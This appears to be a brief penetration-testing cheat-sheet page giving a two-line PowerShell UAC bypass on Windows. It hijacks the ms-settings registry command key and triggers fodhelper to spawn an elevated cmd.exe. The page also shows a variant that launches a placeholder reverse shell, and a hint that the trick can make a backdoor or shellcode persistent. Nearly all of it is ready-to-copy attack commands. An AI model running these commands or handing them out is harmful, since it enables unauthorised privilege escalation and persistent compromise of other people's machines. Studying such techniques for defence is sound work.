UAC bypass

UAC bypass in 2 lines

1
New-Item -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Value cmd.exe -Force
2
New-ItemProperty -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Name DelegateExecute -PropertyType String -Force
3
cmd -> fodhelper
4
5
Spaw anything:
6
New-Item -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Value 'your-reverse-shell' -Force
Copied!
Hint: You can use this to make your shellcode/backdoor persistent!
😎
UAC Bypass – Fodhelper
Penetration Testing Lab
UAC
PuckieStyle
Last modified 8mo ago
Copy link